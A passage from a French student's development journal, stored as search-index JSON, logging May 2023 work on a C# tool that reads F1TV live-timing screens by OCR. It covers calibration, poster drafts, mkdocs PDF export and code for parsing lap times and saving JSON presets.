Il faut maintenant que je commence \u00e0 faire fonctionner la calibration et ce qui serait bien ca serait que je commence \u00e0 ajouter la partie OCR au projet. Il faut que je me d\u00e9p\u00eache car Lundi je dois m'occuper du Poster. OK j'ai compris le soucis que j'avais quand j'essayais de faire la calibration. J'avais mis l'image en ZOOM ce qui fait que si la hauteur n'\u00e9tait pas la bonne, l'image \u00e9tait recentr\u00e9e ce qui fait que cela faussait totalement les r\u00e9sultats. Quand on fait en sorte que l'image prenne toute la place, les coordonn\u00e9es sont prises correctement. Voici un exemple d'ou en est la partie calibration. \"Exemple settings UI\" Normalement il me suffit d'impl\u00e9menter les windows, et on devrait relativement facilement ajouter les pilotes. Et voila. J'ai pu impl\u00e9menter les windows et les pilotes. Et je peux aussi exporter des presets et les loader. Bon le loading est un peu beugg\u00e9 au niveau de l'affichage mais il semble qu'il fonctionne bien quand je save les images. Lundi je m'occupe du poster etc.. mais je pense que la suite va \u00eatre l'impl\u00e9mentation de l'OCR.","title":"Vendredi 5 Mai 2023"},{"location":"jdb.html#lundi-8-mai-2023","text":"Aujourd'hui c'est journ\u00e9e Poster. Je pense que je ne vais pas finir la journ\u00e9e content car les limitations sont un peu trop pr\u00e9sentes. J'ai fait une version que Garcia pourrait accepter, c'est \u00e0 dire en noir et blanc et avec un tout petit peu plus de d\u00e9tail. \"Poster V3\" Le truc c'est que en blanc je trouve que ca ne marche pas super. Et le concept d'avoir trois parties au projet qui se posent autour d'un circuit c'est peut-\u00eatre pas la meilleure id\u00e9e. Je me suis dit que la bonne id\u00e9e serait peut-\u00eatre de prendre un autre circuit pour qu'il y aie bien trois parties : \"Poster V4\" Clairement ce poster doit faire partie des pires. C'est pas clair et ca part dans tous les sens. Je vais essayer avec un autre layout de circuit. \"Poster V5\" Je me suis ensuite dit que le circuit n'\u00e9tait peut \u00eatre tout simplement pas une bonne id\u00e9e. J'ai donc essay\u00e9 de faire quelque chose de plus classique avec juste un peu de background pour qu'on puisse \u00e9viter le soucis de la page blanche derri\u00e8re : \"Poster V6\" Puis je me suis dit que finalement le circuit me manquait. Alors j'ai d\u00e9cid\u00e9 de combiner le background et le circuit ainsi que simplifier l\u00e9g\u00e8rement les diagrammes en retouchant un peu tout le reste on pouvait arriver \u00e0 quelque chose de sympatique : \"Poster V7\" Je ne suis pas content \u00e0 100% mais bon je pense que je vais m'en satisfaire. Pour donner une id\u00e9e de la gal\u00e8re que c'est de cr\u00e9er un poster, voici ce \u00e0 quoi ressemble mon espace de travail Figma : \"Bordel Figma\" Je ne suis pas un graphiste et ca se voit '^^. Je pense que comme il me reste un peu de temps aujourd'hui, je vais faire un peu de documentation de la partie r\u00e9cup\u00e8ration d'images. En effet, je pense que je n'aurai plus besoin de changer grand chose \u00e0 ce niveau. Mais je ne ferai pas la partie analyse fonctionnelle car l'interface n'est clairement pas termin\u00e9e. En fait j'avais oubli\u00e9 mais j'ai eu un rendez vous m\u00e9dical du coup je n'ai pas eu trop le temps de faire la doc que je voulais. Mais au moins je pense avoir finit mon travail sur le poster et le abstract en Anglais qui sont les deux gros livrables \u00e0 venir.","title":"Lundi 8 Mai 2023"},{"location":"jdb.html#mardi-9-mai-2023","text":"Bon je viens de me rendre compte que apparemment on doit rendre l'abstract anglais, le Poster, ET LE PROJET. Je pense que mes deux jours \u00e0 l'arm\u00e9e m'ont fait perdre un peu la notion du temps car j'avais l'impression que l'evaluation interm\u00e9diaire 1 \u00e9tait il y a genre moins d'une semaine. Donc aujourd'hui je ne vais pas trop avancer sur le code et vraiment me focus sur la documentation de la r\u00e9cup\u00e8ration d'images. Je pense que je vais aussi ajouter la partie calibration \u00e0 la documentation. Je pense que c'est important que je prenne le temps maintenant car sinon le prof aura l'impression que ca n'a pas trop avanc\u00e9 depuis la derni\u00e8re fois. Et puis je pense que la partie calibration et r\u00e9cup\u00e8ration d'images ne va pas trop changer et la partie calibration encore moins. La partie anglaise je fais la revoir un peu mais je l'avais d\u00e9ja faite pendant les premiers jours alors ca devrait aller. Pour le rendu il nous \u00e9tait demand\u00e9 de fournir un fichier PDF avec tout dedans avec une table des mati\u00e8res notre code source etc... Pour ce faire j'ai du changer le mkdocs.yml et installer des packages. Voici les changements :: site_name: Documentation Track Trends site_author: Rohmer Maxime copyright: \u00a9CFPTI Tech2 theme: name: material palette: # Palette toggle for light mode - media: \"(prefers-color-scheme: light)\" scheme: default toggle: icon: material/brightness-7 name: Switch to dark mode # Palette toggle for dark mode - media: \"(prefers-color-scheme: dark)\" scheme: slate toggle: icon: material/brightness-4 name: Switch to light mode markdown_extensions: - attr_list - md_in_html - pymdownx.highlight plugins: - glightbox - search - img2fig - with-pdf: cover_subtitle: Vroum Vroum enabled_if_env: ENABLE_PDF_EXPORT - annexes-integration: annexes: # Required (at least 1) - ConfigurationTool.cs: Code/ConfigurationTool.cs # An path to an annex with its title - DriverGapToLeaderWindow.cs: Code/DriverGapToLeaderWindow.cs # An path to an annex with its title - DriverPositionWindow.cs: Code/DriverPositionWindow.cs # An path to an annex with its title - F1TVEmulator.cs: Code/F1TVEmulator.cs # An path to an annex with its title - Program.cs: Code/Program.cs # An path to an annex with its title - Window.cs: Code/Window.cs # An path to an annex with its title - DriverData.cs: Code/DriverData.cs # An path to an annex with its title - DriverLapTimeWindow.cs: Code/DriverLapTimeWindow.cs # An path to an annex with its title - DriverSectorWindow.cs: Code/DriverSectorWindow.cs # An path to an annex with its title - Form1.cs: Code/Form1.cs # An path to an annex with its title - Reader.cs: Code/Reader.cs # An path to an annex with its title - Zone.cs: Code/Zone.cs # An path to an annex with its title - DriverDrsWindow.cs: Code/DriverDrsWindow.cs # An path to an annex with its title - DriverNameWindow.cs: Code/DriverNameWindow.cs # An path to an annex with its title - DriverTyresWindow.cs: Code/DriverTyresWindow.cs # An path to an annex with its title - OcrImage.cs: Code/OcrImage.cs # An path to an annex with its title - Settings.cs: Code/Settings.cs # An path to an annex with its title - recoverCookiesCSV.py: Code/recoverCookiesCSV.py # An path to an annex with its title Je remercie Monsieur Briard le sultan officiel de Mkdocs de la classe de m'avoir aid\u00e9 pour cette partie et avoir cr\u00e9\u00e9 un plugin qui me permet de mettre mon code source directement dans le pdf. Bon au final j'ai quand m\u00eame chang\u00e9 mon poster \"Poster V8\" Mais je suis trop attach\u00e9 \u00e0 l'ancien concept alors je vais plut\u00f4t utiliser ca : \"Poster V9\" Je pense que cette version est meilleure m\u00eame si elle est encore plus en bordel par ce que le texte permet de se faire une meilleure id\u00e9e de l'utilis\u00e9 de chaque partie.","title":"Mardi 9 Mai 2023"},{"location":"jdb.html#mercredi-10-mai-2023","text":"Bon hier je n'ai pas eu le temps de finir la documentation de la recup\u00e8ration d'images et de la calibration. Il faudra donc que je repasse un coup dessus en fin de semaine je pense. Mais la j'aimerais avancer sur la mise en commun du projet, comme la configuration fonctionne plut\u00f4t pas mal je pense que je vais juste vite fait aller commenter les methodes qui ne le sont pas encore et ensuite je vais passer \u00e0 l'impl\u00e9mentation de l'OCR. Je suis presque certain que l'OCR va avoir besoin de plus de r\u00e8glages mais bon on verra bien. Je me rend compte en commentant que la methode de load serait plus efficace avec un tout petit peu plus d'infos de la part du JSON. J'aurais pu ajouter l'offset entre chaque Driver Zone pour eviter un l\u00e8ger drift lors de la reconstruction. Mais bon rien de grave donc je pense que je vais le laisser comme ca pour le moment \u00e0 moins que ca me pose soucis plus tard. J'ai eu quelques soucis avec les images en 4K. Du coup j'ai descendu les variables d'environnement \u00e0 1920x1080 En fait il y a parfois un soucis un peu p\u00e9nible avec l'OCR. Parfois pour un temps comme ci dessous: \"1:45.140\" Le programme ne va pas bien comprendre les ponctuations et il va donner : 1115140 La il y a deux probl\u00e8mes... Le 1:xx.xxx est compris comme 11xxxxx et le 4 s'est transform\u00e9 en 1... J'ai cr\u00e9\u00e9 ce \"petit\" bout de code pour g\u00e8rer les fois ou les '.' et les ':' ont mal \u00e9t\u00e9 interpr\u00eat\u00e9s if ( rawNumbers . Count == 1 ) { //If this code is used it means that its bad ... //The methods that comes are really not that great and are juste quick fixes try { result = Convert . ToInt32 ( rawNumbers [ 0 ]); switch ( windowType ) { case OcrImage . WindowType . Sector : //The usual sector is in this form : 33.456 if ( rawNumbers [ 0 ]. Length == 6 ) { //The '.' has been understood like a number result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ] + rawNumbers [ 0 ][ 1 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 3 ] + rawNumbers [ 0 ][ 4 ] + rawNumbers [ 0 ][ 5 ]); } if ( rawNumbers [ 0 ]. Length == 5 ) { //The '.' has been overlooked result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ] + rawNumbers [ 0 ][ 1 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ] + rawNumbers [ 0 ][ 3 ] + rawNumbers [ 0 ][ 4 ]); } break ; case OcrImage . WindowType . LapTime : //The usual Lap time is in this form : 1:45:345 if ( rawNumbers [ 0 ]. Length == 6 ) { //The '.' and ':' have been overlooked //I Know Im skipping the cases where there are more than 9 minuts but it happens so rarely that... we dont care result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]) * 60000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ] + rawNumbers [ 0 ][ 2 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 3 ] + rawNumbers [ 0 ][ 4 ] + rawNumbers [ 0 ][ 5 ]); } if ( rawNumbers [ 0 ]. Length == 7 ) { //There is two possibilities //Either 1:45.140 has been interpreted as 1145.10 or 1:451140. We will assume its the first one result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]) * 60000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ] + rawNumbers [ 0 ][ 3 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 4 ] + rawNumbers [ 0 ][ 5 ] + rawNumbers [ 0 ][ 6 ]); } break ; case OcrImage . WindowType . Gap : //The usual Gap is in this form : + 34.567 if ( rawNumbers [ 0 ]. Length == 5 ) { //The '.' has been overlooked result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ] + rawNumbers [ 0 ][ 1 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ] + rawNumbers [ 0 ][ 3 ] + rawNumbers [ 0 ][ 4 ]); } break ; } if ( rawNumbers [ 0 ]. Length > 6 ) { //The number definitely has been interpreted wrong } } catch { //It can be because the input is empty or because its the LEADER bracket result = 0 ; } } else { //Auuuugh result = 0 ; } ConfigFile = \"./Presets/Clean_2023.json\" ; string gpUrl = \"https://f1tv.formula1.com/detail/1000006688/2023-azerbaijan-grand-prix?action=play\" ; Bon je n'arrive pas \u00e0 faire fonctionner l'OCR sans tout faire crash \u00e0 chaque fois. Je vais abandonner le travail de la journ\u00e9e pour revenir au point initial... C'est tr\u00e8s frustrant mais bon je ne vois pas comment faire mieux. Rien ne marche alors qu'avant ca marchant super sur le projet OCR normal. Va savoir pourquoi m\u00eame comme ca, impossible de faire marcher l'OCR. Il y a un soucis au niveau de l'ASYNC qui me fait crash tout le temps en me disant qu'un objet est deja en train d'\u00eatre utilis\u00e9. Ca marchait nikel dans mes premi\u00e8res version je ne vois pas pourquoi ca p\u00eate maintenant. Je pense que je vois \u00e0 peu pr\u00e8s le soucis. public virtual async Task < DriverData > Decode ( List < string > driverList ) { int sectorCount = 0 ; DriverData result = new DriverData (); Parallel . ForEach ( Windows , async w => { // A switch would be prettier but I dont think its supported in this C# version if ( w is DriverNameWindow ) result . Name = ( string ) await ( w as DriverNameWindow ). DecodePng ( driverList ); if ( w is DriverDrsWindow ) result . DRS = ( bool ) await ( w as DriverDrsWindow ). DecodePng (); if ( w is DriverGapToLeaderWindow ) result . GapToLeader = ( int ) await ( w as DriverGapToLeaderWindow ). DecodePng (); if ( w is DriverLapTimeWindow ) result . LapTime = ( int ) await ( w as DriverLapTimeWindow ). DecodePng (); if ( w is DriverPositionWindow ) result . Position = ( int ) await ( w as DriverPositionWindow ). DecodePng (); if ( w is DriverSectorWindow ) { sectorCount ++; if ( sectorCount == 1 ) result . Sector1 = ( int ) await ( w as DriverSectorWindow ). DecodePng (); if ( sectorCount == 2 ) result . Sector2 = ( int ) await ( w as DriverSectorWindow ). DecodePng (); if ( sectorCount == 3 ) result . Sector3 = ( int ) await ( w as DriverSectorWindow ). DecodePng (); } if ( w is DriverTyresWindow ) result . CurrentTyre = ( Tyre ) await ( w as DriverTyresWindow ). DecodePng (); }); return result ; } Ca c'est ma methode de decoding de chaque Driver Zone. Le message d'erreur me parle d'une windowImage quand il dit qu'un objet est d\u00e9ja utilis\u00e9. Ma conjecture c'est que en essayant de faire toutes les windows en m\u00eame temps. Elles veulent parfois acc\u00e8der \u00e0 l'image principale en m\u00eame temps. Ce qui evidemment pose probl\u00e8me. Je pense que le fix le plus simple serait de faire le traitement sans le parallele quitte \u00e0 exporter ce fonctionnement sur chaque zone en elle m\u00eame pour ne pas perdre trop de performances. Ok je crois que je vois ou est le soucis. En fait dans cette version du programme c'est toujours la premi\u00e8re image qui \u00e9tait juste tout le temps prise et dans la premi\u00e8re image on a une partie des chiffres qui est bloqu\u00e9e par l'UI de la fen\u00eatre... lol... EN FAIT J'avais un soucis dans ma gestion des chiffres mal faits. Visiblement parfois quand je ne prenais pas en compte un :, un LapTime etait compris comme un Gap to leader ou un Secteur Bon j'en ai tellement marre... Je n'arrive tout simplement PAS \u00e0 faire fonctionner l'OCR ca crash tout le temps j'en peux plus. J'ai tent\u00e9 de r\u00e8gler les probl\u00e8mes de mauvaises detections de secteurs et temps au tour qui font crasher l'app : if ( rawNumbers . Count == 2 ) { //ss:ms result = ( Convert . ToInt32 ( rawNumbers [ 0 ]) * 1000 ) + Convert . ToInt32 ( rawNumbers [ 1 ]); if ( result > ( 60000 + 999 )) { if ( windowType == OcrImage . WindowType . LapTime ) { result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]) * 60000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 1 ]); } if ( windowType == OcrImage . WindowType . Sector ) { int seconds = 0 ; if ( rawNumbers [ 0 ]. Length == 3 ) { //We have one char that we need to delete //For no apparent reason im going to delete the first seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); } else { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString ()); } int ms = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); result = seconds * 1000 + ms ; } } } Mais toujours impossible de faire fonctionner cette M**** C'est juste infernal. Je pense que je vais encore tout retirer et remplacer par ce que j'ai dans mon projet OCR original. Donc c'est une journ\u00e9e de perdue compl\u00eatement... C'est extr\u00eamement frustrant. Apr\u00e8s des heures de debug j'ai enfin r\u00e9ussi \u00e0 faire fonctionner le programme de temps en temps. Mais j'ai toujours le soucis que l'image ne veut pas changer alors que je fais tout pour et que l'OCR est nulle \u00e0 chier du coup...","title":"Mercredi 10 Mai 2023"},{"location":"jdb.html#jeudi-11-mai-2023","text":"Bon apr\u00e8s une bonne nuit de sommeil je vais reprendre les choses depuis le d\u00e9but. J'ai deux soucis : L'OCR pue du derche L'Image que l'on d\u00e9code ne change pas Pour la premi\u00e8re partie j'ai ma petite th\u00e9orie. Je pense que comme je donne des images 4K alors que le feed est en 1080P, il y a d\u00e9ja un genre d'interpolation qui est faite. Je pense donc qu'il faut que j'adapte mon engine pour qu'il fonctionne avec cette r\u00e9solution. Je me suis demand\u00e9 si ca n'\u00e9tait pas mieux de prendre en compte les deux r\u00e9solutions pour les pc un peu moins bal\u00e8zes et j'ai d\u00e9cid\u00e9 de n'en avoir rien a faire. On verra dans le futur si c'est une feature que je voudrais ajouter mais c'est en dehors du scope du dipl\u00f4me je pense. Pour la seconde partie, je pense qu'il faut que j'aille voir du c\u00f4te de OCR_Decode et de OCR Tester pour voir comment je faisais. Je dois forc\u00e9ment oublier un truc. Bon ca commence mal, quand je vais voir dans le projet OCR_Decode, le changement d'image est exactement le m\u00eame et il fonctionne alors que de mon c\u00f4t\u00e9 ca n'est pas le cas. Alors deux choses. Je me rend compte que le changement d'images n'a AUCUN effet sur la detection de texte, et seconde chose, le d\u00e9calage est trop grand entre les windows. Des que le soucis d'image est r\u00e8gl\u00e9 il va falloir que je change drastiquement ma facon de stocker la config en JSON. Il faut que je conserve les \u00e9carts. Sinon regardez ce que ca donne quand on arrive au dernier pilote : \"Zone de pilote d\u00e9cal\u00e9e\" Je commence \u00e0 devenir FOU. Je n'arrive pas \u00e0 changer cette foutue image wtf... J'ai beau tenter par tous les moyens de la changer par une image noire, l'image semble toujours rester celle du d\u00e9part. Bon j'ai enfin trouv\u00e9 pourquoi et je n'ai pas envie de dire comment j'ai trouv\u00e9... Je pense que l'on a tous droit \u00e0 son petit jardin secret. Maintenant ca veut dire que je peux me focus sur le concept important qui est le changement de la cr\u00e9ation et de la lecture des JSON. Voici un exemple de preset JSON : { \"Main\" : { \"x\" : 40 , \"y\" : 355 , \"width\" : 3784 , \"height\" : 1438 , \"Zones\" : [ { \"DriverZone\" : { \"x\" : 0 , \"y\" : -10 , \"width\" : 3784 , \"height\" : 71 , \"Windows\" : [ { \"Position\" : { \"x\" : 47 , \"y\" : 11 , \"width\" : 72 }, \"GapToLeader\" : { \"x\" : 445 , \"y\" : 13 , \"width\" : 201 }, \"LapTime\" : { \"x\" : 859 , \"y\" : 14 , \"width\" : 221 }, \"DRS\" : { \"x\" : 1094 , \"y\" : 13 , \"width\" : 173 }, \"Tyres\" : { \"x\" : 1270 , \"y\" : 11 , \"width\" : 1452 }, \"Name\" : { \"x\" : 2727 , \"y\" : 11 , \"width\" : 351 }, \"Sector1\" : { \"x\" : 3083 , \"y\" : 10 , \"width\" : 253 }, \"Sector2\" : { \"x\" : 3339 , \"y\" : 14 , \"width\" : 195 }, \"Sector3\" : { \"x\" : 3518 , \"y\" : 14 , \"width\" : 250 } } ] } } ] }, \"Drivers\" : [ \"Perez\" , \"Leclerc\" , \"Sainz\" , \"Alonso\" , \"Stroll\" , \"Russel\" , \"Verstappen\" , \"Zhou\" , \"Ocon\" , \"Hulkenberg\" , \"Hamilton\" , \"Norris\" , \"Tsunoda\" , \"Magnussen\" , \"Piastri\" , \"Albon\" , \"Gasly\" , \"Sargeant\" , \"Bottas\" , \"De Vries\" ] } Je pense que ce qui serait bien ce serait de rajouter un \"offsets\" qui contienne les 19 \u00e9carts restants. Bon... la structure de ma fabrication de JSON etait trop confuse je trouve alors je l'ai compl\u00eatement refaite. J'ai aussi abandonn\u00e9 l'id\u00e9e de faire un fichier le plus petit possible car au final on s'en fiche et le plus important c'est que toutes les windows et les zones soient aux bons endroits. Ca nous fait un fichier d'environs 1300 lignes mais au moins le code pour la serialisation est plut\u00f4t clean : public void SaveToJson ( List < string > drivers , string configName ) { string JSON = \"\" ; JsonObject jsonFileObject = new JsonObject (); //Creating the mainZone object JsonObject mainZoneObject = new JsonObject (); mainZoneObject . Add ( \"x\" , MainZone . Bounds . X ); mainZoneObject . Add ( \"y\" , MainZone . Bounds . Y ); mainZoneObject . Add ( \"width\" , MainZone . Bounds . Width ); mainZoneObject . Add ( \"height\" , MainZone . Bounds . Height ); JsonArray driverZonesArray = new JsonArray (); int DriverID = 0 ; foreach ( Zone driverZone in MainZone . Zones ) { DriverID ++; JsonObject driverZoneObject = new JsonObject (); driverZoneObject . Add ( \"name\" , \"Driver\" + DriverID ); driverZoneObject . Add ( \"x\" , driverZone . Bounds . X ); driverZoneObject . Add ( \"y\" , driverZone . Bounds . Y ); driverZoneObject . Add ( \"width\" , driverZone . Bounds . Width ); driverZoneObject . Add ( \"height\" , driverZone . Bounds . Height ); JsonArray windowsArray = new JsonArray (); JsonObject windowObject = new JsonObject (); foreach ( Window window in driverZone . Windows ) { windowObject . Add ( window . Name , new JsonObject { { \"x\" , window . Bounds . X }, { \"y\" , window . Bounds . Y }, { \"width\" , window . Bounds . Width }, { \"height\" , window . Bounds . Height } }); } windowsArray . Add ( windowObject ); driverZoneObject . Add ( \"Windows\" , windowsArray ); driverZonesArray . Add ( driverZoneObject ); } mainZoneObject . Add ( \"DriverZones\" , driverZonesArray ); JsonArray driversArray = new JsonArray (); foreach ( string driver in drivers ) { driversArray . Add ( driver ); } mainZoneObject . Add ( \"Drivers\" , driversArray ); jsonFileObject . Add ( \"Main\" , mainZoneObject ); JSON = jsonFileObject . ToString (); //Saving the file string path = CONFIGS_FOLDER_NAME + configName ; if ( File . Exists ( path + \".json\" )) { //We need to create a new name int count = 2 ; while ( File . Exists ( path + \"_\" + count + \".json\" )) { count ++; } path += \"_\" + count + \".json\" ; } else { path += \".json\" ; } File . WriteAllText ( path , JSON ); } Et normalement la lecture devrait \u00eatre encore plus simple. En fait c'\u00e9tait pas beaucoup plus simple mais au moins maintenant ca marche. Je vais pas mettre le code de lecture ici car c'est un peu trop long donc il va falloir me croire sur parole. (Ou aller sur Git) Bon bah on est au m\u00eame endroit qu'hier... Bon pour demain le plan de bataille ca va \u00eatre : Changer compl\u00eatement la methode \"GetTimeFromPng\" pour qu'elle prenne en compte toutes les possibilit\u00e9s de bugs et d'oubli de '.' ou de ':' mais pas selon le nombre de blocs mais selon le type de temps que l'on cherche Pour le moment je regarde le nombre de blocs et si il y en a deux alors c'est que c'est un temps de secteur. En fait non cela peut aussi \u00eatre un temps au tour qui a rat\u00e9 un point. Il faut que je bosse juste un peu vite fait la dessus et que j'arr\u00eate de putain de crasher d\u00e8s que un truc est pas au bon format. Ensuite quand ca aura arr\u00eat\u00e9 de crasher je vais reprendre l'OCR et voir pourquoi les resultats sont nuls a chier comme ca. Et le but c'est que demain soir j'ai une reconnaissance de caract\u00e8res plus proche de ce que j'avais dans d'autres projets... J'y croit 0 mais bon l'espoir fait vivre comme on dit.","title":"Jeudi 11 Mai 2023"},{"location":"jdb.html#vendredi-12-mai-2023","text":"Bon aujourd'hui il faut que ca marche. On va y aller par \u00e9tape. Je vais revoir toutes les methodes d'OCR et essayer de r\u00e9apliquer les filtres differemment et revenir au point de d\u00e9part. Avant de commencer je note plusieurs soucis avec les premiers tests : Les positions des pilotes ont l'air pas mal (Pas besoin de tout changer mais peut-\u00eatre simplement checker que les filtres sont bons) L'\u00e9cart avec le leader est \u00e9tonnamment pas mal aussi Le temps au tour est tout simplement horrible. Aucun n'est juste et de tr\u00e8s loin m\u00eame si les d\u00e9cimales ne sont pas forc\u00e9ment loin Le DRS je n'ai pas eu l'occasion de bien le tester mais je dirais que ca devrait \u00eatre bon (\u00e0 verifier quand le reste sera bon) Les pneus ne sont \u00e9tonnamment pas SI horribles, m\u00eame si parfois les lettres sont prises comme des chiffres Les noms de pilotes sont tr\u00e8s bon (pas \u00e9tonnant vu le syst\u00e8me de distance de Levenstein donc ca m\u00e9rite quand m\u00eame un petit check) Les secteurs sont en g\u00e9n\u00e9ral horribles mais pas toujours. C'est peut-\u00eatre un soucis de d\u00e9cimale ou des 4 qui se transforment en 1 J'ai remarqu\u00e9 que les 4 sont souvent pris comme des 1. Peut-\u00eatre que en ayant des images 4K l'interpolation est un peu diff\u00e9rente de ce que j'ai l'habitude de voir. Mais donc le plan aujourd'hui c'est de checker tous ces points et les faire fonctionner (youpi...) J'ai d\u00e9sactiv\u00e9 toutes les methodes de cette facon : int sectorCount = 0 ; DriverData result = new DriverData (); foreach ( Window w in Windows ) { // A switch would be prettier but I dont think its supported in this C# version if ( w is DriverNameWindow ) //result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList); result . Name = \"Unknown\" ; if ( w is DriverDrsWindow ) //result.DRS = (bool)await (w as DriverDrsWindow).DecodePng(); result . DRS = false ; if ( w is DriverGapToLeaderWindow ) //result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng(); result . GapToLeader = 0 ; if ( w is DriverLapTimeWindow ) //result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng(); result . LapTime = 0 ; if ( w is DriverPositionWindow ) //result.Position = (int)await (w as DriverPositionWindow).DecodePng(); result . Position = 0 ; if ( w is DriverSectorWindow ) { sectorCount ++; if ( sectorCount == 1 ) //result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng(); result . Sector1 = 0 ; if ( sectorCount == 2 ) //result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng(); result . Sector2 = 0 ; if ( sectorCount == 3 ) //result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng(); result . Sector3 = 0 ; } if ( w is DriverTyresWindow ) //result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng(); result . CurrentTyre = new Tyre ( Tyre . Type . Undefined , 0 ); } return result ; Le but c'est que ensuite je puisse y aller \u00e9tape par \u00e9tape. Position : Alors pour cette reconnaissance je dirais que la 4K fait des merveilles qui permettent de retirer du processing. La position apr\u00e8s un simple Treshold est assez bien reconnue et la dilataion et/ou Erosion ne sont pas nescessaires finalement. On va donc pouvoir gagner un certain temps et c'est un bon signe pour la suite. On peut aussi noter que quand un pilote est hors course toutes ses valeurs sont gris\u00e9es et sa position est prise comme un -1 Sectors, alors j'ai refait toute la partie qui concerne les secteurs et qui les nettoie. Et je me suis rendu compte qu'ils \u00e9taient bien souvent juste, le seul truc c'est que ils s'affichent de mani\u00e8re un peu sp\u00e9ciale. En fait dans la page de la F1TV les secteurs peuvent faire plus de 60 secondes sans passer sur un affichage de minutes. Ce qui fait que c'est un peu bizarre \u00e0 regarder mais c'est parfaitement juste. J'ai aussi pu simplifier la reconnaissance gr\u00e2ce \u00e0 l'image de meilleure qualit\u00e9 et maintenant les temps de secteur sont plut\u00f4t corrects. En fait le plus long et complexe c'est de pr\u00e9voir les cas particuliers ou un '.' a \u00e9t\u00e9 mal interpr\u00eat\u00e9... Et en parlant de ca, je vais aller m'occuper des temps au tour qui ajoutent une couche de complexit\u00e9 avec un '.' ET un ':' qui peuvent \u00eatre oubli\u00e9s... Oh et j'y pense, un truc malin pourrait \u00eatre de comparer les temps au tour et les temps de secteur. Ils devraient concorder normalement je pense. Ok je viens de finir la gestion des temps au tour... J'ai un code de genre 170 lignes pour juste nettoyer le resultat dans le cas ou des '.' n'ont pas \u00e9t\u00e9 trouv\u00e9s ou des ':' ont \u00e9t\u00e9 n'ont pas \u00e9t\u00e9 trouv\u00e9 ou si l'un des deux s'est transform\u00e9 en chiffre etc.. etc.. etc.. Le soucis c'est que la maintenant je me rend compte que les \u00e9carts entre les pilotes vont juste \u00eatre un enfer \u00e0 nettoyer... Ils peuvent aussi bien \u00eatre \"0.760\" comme \"1:34.456\" du coup... je sais pas vraiment comment faire pour tout nettoyer. Je pense que je vais juste en avoir rien \u00e0 faire et tant pis si de temps en temps c'est pas g\u00e9nial. Bon du coup j'ai pas pris en compte TOUS les cas possibles mais d\u00e9ja un certain nombre et c'est d\u00e9ja pas mal. Sur les diff\u00e9rents Grand Prix d'exemples ca a l'air de plut\u00f4t bien tourner ! Mais ca demande tellement de tests et de code que c'est un peu ridicule... La methode \"GetTimeFromPng\" fait d\u00e9ja presque 430 lignes \u00e0 cause de tous les cas possibles et tous les try catch. Ca peut para\u00eetre peu \u00e9l\u00e9gant mais j'ai essay\u00e9 de mettre des commentaires un peu partout pour permettre \u00e0 nimporte qui de comprendre ce qui se passe. J'ai aussi pu faire les pneus et maintenant (roulement de tambour) Ca marche (presque) En fait j'ai des soucis parfois quand les pneus sont un peu cach\u00e9s dans les permiers tours : Pneus cach\u00e9s Le soucis c'est que du coup le chiffre est un peu illisible... mais je pense que avec l'historique il devrait y avoir moyen de ne pas prendre en compte les chiffres de pneus pendant cinq tours apr\u00e8s le changement de pneu ou de simplement tenter de faire les calculs de pneus. Pour conclure la journ\u00e9e je pense que je devrais avoir le temps de faire un syst\u00e8me qui permet de refresh \u00e0 volont\u00e9. Par contre je viens de d\u00e9couvrir que quand un temps de secteur est en couleur on arrive pas \u00e0 le lire. Ah et la detection prend un peu moins de trois secondes sur mon pc je crois. Mais c'est seulement si les driver zones sont faites en m\u00eame temps mais en faisant ca de temps en temps ca crash et \u00e0 chaques fois c'est d'un endroit diff\u00e9rent du coup je comprend pas vraiment. Sinon ca prend dix secondes.","title":"vendredi 12 Mai 2023"},{"location":"jdb.html#lundi-15-mai-2023","text":"Aujourd'hui c'est journ\u00e9e poster et visites. Comme on va avoir des visites de premi\u00e8res ann\u00e9es voire de terminales et que le soir c'est visite des parents. Je pense que j'ai finit de tout regrouper (\u00e0 part \u00e9videmment le traitement et le stockage des donn\u00e9es) ce qui veut dire que je suis pas dans une superbe posture. Il va falloir que je sois tr\u00e8s efficace dans la partie stockage de donn\u00e9es et mise en place du mod\u00e8le si je veux avoir une chance de rendre un joli travail de dipl\u00f4me. (et m\u00eame comme ca je peux voir que le temps commence \u00e0 manquer) Dans l'id\u00e9al je devrais avoir termin\u00e9 la partie stockage jeudi... Ce qui veut dire que je n'ai que trois jours pour le faire et que en plus jeudi je dois travailler depuis la maison. Ca va pas \u00eatre simple. Mais aujourd'hui je vais m'occuper d'adapter la documentation de l'OCR et faire la documentation de toute la partie r\u00e9cup\u00e8ration d'images et de la calibration. Bon au final la journ\u00e9e a \u00e9t\u00e9 un peu difficile. On a pas vraiment pu travailler l'apr\u00e8s midi car il a fallu pr\u00e9senter le projet environs 10 fois \u00e0 toutes les classes et 